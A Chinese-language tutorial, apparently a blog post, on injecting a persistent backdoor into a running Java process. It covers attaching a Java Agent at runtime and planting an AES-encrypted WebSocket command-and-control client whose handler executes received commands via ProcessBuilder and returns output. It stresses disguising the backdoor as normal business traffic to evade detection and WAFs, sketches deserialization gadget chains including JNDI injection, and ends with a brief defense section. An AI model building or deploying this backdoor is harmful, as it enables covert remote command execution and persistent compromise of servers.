Agent
如果要對其進行Agent注入的編寫,需要先理解三個名字premain,agentmain,Instrumentation
premain
方法在 JVM 啟動階段調用,一般維持權限的時候不會使用
agentmain
方法在 JVM 運行時調用 常用的
Instrumentation
實例為代理類提供了修改類字節碼、監控類加載等功能
前言:為什么選擇 Java Agent + WebSocket?
作為權限維持,落地的內存馬容易被查殺到,使用Agent可以不改源碼的前提下注入,監控,修改。
想法
看起來很正常的業務越不會被發現,甚至是對其進行替代
使用 java.lang.instrument
方式編寫 Agent
利用 VirtualMachine.attach
動態掛載 agent,實現對正在運行的 Java 進程注入 WebSocket 后門。
利用AES
進行數據加密命令加密
長期維持通信信道
如果遇見自帶有websocket的可以直接使用現有通信通道
可植入現有業務流程之中(如用戶聊天系統、推送系統中)
配合 WebSocket 協議繞 WAF
注入的流程
連接注入JVM
靜態注入容易被檢測,所以我們采取動態注入,也就是在JVM運行的時候進行注入
VirtualMachine vm = VirtualMachine.attach(pid);
//pid是JVM所在的服務,整個操作是連接JVM
vm.loadAgent(agentPath);//agentPath是你要注入的agent的jar包
WebScoket C2
制作WebSocket的步驟
參考一下我的pom
<dependencies><dependency><groupId>org.glassfish.tyrus</groupId><artifactId>tyrus-server</artifactId><version>2.1.1</version></dependency><dependency><groupId>org.json</groupId><artifactId>json</artifactId><version>20210307</version></dependency><dependency><groupId>org.java-websocket</groupId><artifactId>Java-WebSocket</artifactId><version>1.5.2</version></dependency></dependencies>
比較重要的是,有一些依賴需要直接跟隨打包
<build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-shade-plugin</artifactId><version>3.2.4</version><executions><execution><phase>package</phase><goals><goal>shade</goal></goals><configuration><transformers><transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"><manifestEntries><Premain-Class>org.example.MyAgent</Premain-Class><Agent-Class>org.example.MyAgent</Agent-Class><Can-Redefine-Classes>true</Can-Redefine-Classes><Can-Retransform-Classes>true</Can-Retransform-Classes></manifestEntries></transformer></transformers></configuration></execution></executions></plugin></plugins>
</build>
<!-- 里面的屬性數據需要根據自己需求來修改 -->
Websocket管理器(看起來像正常業務)
package org.example;import java.util.Base64;public class WSManager {private static WSClient client;public static void setClient(WSClient c) {client = c;}public static void sendEncrypted(String plaintext) {try {byte[] encrypted = AES.encrypt(plaintext, "1234567890abcdef");client.send(Base64.getEncoder().encodeToString(encrypted));} catch (Exception ignored) {}}
}
上面代碼主要的作用是對其進行數據發送加密處理
package org.example;import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake;import java.net.URI;public class WSClient extends WebSocketClient {public WSClient(URI serverUri) {super(serverUri);}@Overridepublic void onOpen(ServerHandshake handshakedata) {WSManager.setClient(this);}@Overridepublic void onMessage(String message) {CommandHandler.handle(message);}@Overridepublic void onClose(int code, String reason, boolean remote) {}@Overridepublic void onError(Exception ex) {ex.printStackTrace();}
}
//簡單的一個客戶端的樣子
命令執行部分CommandHandler
package org.example;import org.json.JSONObject;import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Base64;
import java.util.stream.Collectors;public class CommandHandler {public static void handle(String msg) {try {String json = AES.decrypt(Base64.getDecoder().decode(msg), "1234567890abcdef");//先對其進行解密JSONObject obj = new JSONObject(json);String type = obj.getString("type");String payload = obj.getString("payload");//對其進行json處理,像正常業務if ("exec".equals(type)) {ProcessBuilder pb = new ProcessBuilder(payload.split(" "));pb.redirectErrorStream(true);//命令執行String result = new BufferedReader(new InputStreamReader(pb.start().getInputStream())).lines().collect(Collectors.joining("\n"));//正常返回結果JSONObject res = new JSONObject();res.put("type", "result");res.put("payload", result);WSManager.sendEncrypted(res.toString());//加密返回}} catch (Exception ignored) {ignored.printStackTrace();}}
}
數據包部分
這是在執行命令并且返回回來后的數據包,除了發送命令過去的時候會是明文,但也可以對其進行修改
從數據包中,看不出什么異常,避免了WAF的檢測
拓展
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
Object cmdObj = ois.readObject();
//如果覺得這樣的執行可能被檢測到
//CC鏈
BadAttributeValueExpException-> toString()-> Transformer (InvokerTransformer)-> Runtime.getRuntime().exec()//Spring BeanFactory
TemplatesImpl-> getOutputProperties()-> 觸發字節碼加載-> 加載惡意類字節碼
//JDBC
JdbcRowSetImpl-> setDataSourceName("rmi://xxxxxx/obj")-> getDatabaseMetaData()-> JNDI 注入
防御
JVM添加參數
-Djdk.attach.allowAttachSelf=false
移除 JVM 的 Attach 功能
$JAVA_HOME/lib/tools.jar
$JAVA_HOME/lib/libattach.so (Linux)
$JAVA_HOME/jre/lib/libattach.dylib (macOS)
運行截圖
先啟動了監聽端
添加了一部分輸出,讓其更明顯